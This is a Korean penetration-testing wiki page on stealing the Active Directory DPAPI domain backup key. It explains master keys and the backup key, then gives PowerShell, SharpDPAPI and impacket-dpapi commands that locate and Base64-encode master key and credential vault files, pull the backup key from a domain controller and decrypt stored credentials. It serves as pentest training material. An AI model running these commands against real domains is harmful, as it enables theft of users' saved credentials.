펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • WriteOwner
        • GenericAll
        • GenericWrite
        • WriteSPN
        • AddMembers
        • WriteProperty
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Active Directory Trusts
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
Powered by GitBook
On this page
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 민감정보 탈취
  2. Active Directory

DPAPI Backup Key

DPAPI(Data Protection API)는 Windows에서 민감한 데이터(주로 자격 증명)들을 로컬에 저장하여 편리하게 사용하기 위한 암호화 기능입니다. 사용자가 RDP 등의 자격 증명 데이터를 로컬에 저장할 때 안전하게 저장하기 위해서 무작위로 생성된 AES 키로 암호화를 하는데 이 키를 마스터 키라고 부릅니다. 이 키의 저장 위치는 일반적으로 사용자 로컬 %APPDATA%\Microsoft\Protect{SID}{GUID} 에 저장되며마스터 키는 사용자의 패스워드에서 파생된 개인 키로 다시 한 번 암호화 되어 저장됩니다.

도메인 사용자가 패스워드를 잊어버리거나 변경한다면 사용자의 패스워드로부터 파생되는 DPAPI는 더이상 기존의 암호화된 마스터 키를 복호화 할 수 없을 것입니다. 이런 경우를 대비하여 Active Directory 환경에서는 도메인 초기 생성 시 무작위로 백업 키를 생성하여 도메인 컨트롤러에 저장합니다.

특이한 점은 이렇게 생성된 도메인 백업 키는 주기적으로 변경되지 않으며 변경하는 방법 또한 공식적으로 지원하지 않습니다. 그렇기 때문에 침해 당한 도메인 환경은 새 도메인을 만들어 사용자를 이전하는 방법을 사용해야 하는데, 이같은 불편함과 보안성을 위해 몇몇 솔루션 회사는 DPAPI 백업 키를 변경하거나 새로 생성하여 기본 설정 값으로 지정하는 기능들을 제공하기도 합니다.

도메인 관리자는 BackupKey 원격 프로토콜을 사용하여 도메인 컨트롤러로부터 백업 키를 추출할 수 있습니다.

일반적인 최신 Windows 환경에서 마스터 키와 금고 위치는 다음과 같습니다.

# 마스터 키
$SID = (whoami /user).Split()[64]
Get-ChildItem -Force "$env:APPDATA\Microsoft\Protect\$SID\*"

# vaults
Get-ChildItem -Force "$env:APPDATA\Microsoft\Credentials\*"

# Base64 인코딩 형태로 추출
[Convert]::ToBase64String((Get-Content <File name> -Encoding Byte)) | Out-String
# 도메인 백업 키 추출
.\SharpDPAPI.exe backupkey

# 로컬 자격 증명 복호화
.\SharpDPAPI.exe credentials /pvk:<Backup Key>
# 도메인 백업 키 추출
impacket-dpapi backupkeys -t <domain/domain admins:pass@dc-ip> --export

# 마스터 키 복호화
impacket-dpapi masterkey -file <MasterKey> -pvk <BCKUPKEY.pvk> 

# 로컬 자격 증명 복호화
impacket-dpapi credential -file <CredentialFile> -key <HexKey>

Practice

DPAPI를 복호화 하고자 하는 대상 로컬 머신에서 마스터 키 파일과 vaults 파일을 Base64 인코딩 혹은 다운로드 기능을 이용해 가져옵니다.

굳이 Base64 인코딩 형태로 가져오는 이유는, 이러한 파일이 Evil-Winrm에서 지원하는 Download 기능을 통해 가져오지 못할 수 있기 때문입니다. 인코딩 출력 후에는 Kali 로컬에서 디코딩을 통해 파일로 저장합니다.

백업 키는 사용자의 패스워드를 대신하여 마스터 키를 복호화하는데 사용되기 때문에, Base64로 출력했던 마스터 키를 백업 키로 복호화 합니다. 복호화된 마스터 키는 Hex 형식으로 되어있으며, 대상 로컬 시스템에서 Base64로 출력했던 vault 파일을 인자로 넣어 데이터 복호화를 진행합니다.

References

PreviousNetwork Access Account CredentialsNextWindows

Last updated 20 hours ago

Was this helpful?

Active Directory 도메인 컨트롤러의 DPAPI 백업 키 - Win32 appsMicrosoftLearn
Logo
Detecting DPAPI Backup Key TheftMichael Grafnetter
[MS-BKRP]: BackupKey Remote ProtocolMicrosoftLearn
Logo
DPAPI secretsThe Hacker Recipes
Logo
마스터 키 / vaults 식별
Base64 인코딩된 형태로 출력
BackupKey
복호화된 마스터 키
복호화된 vault
Logo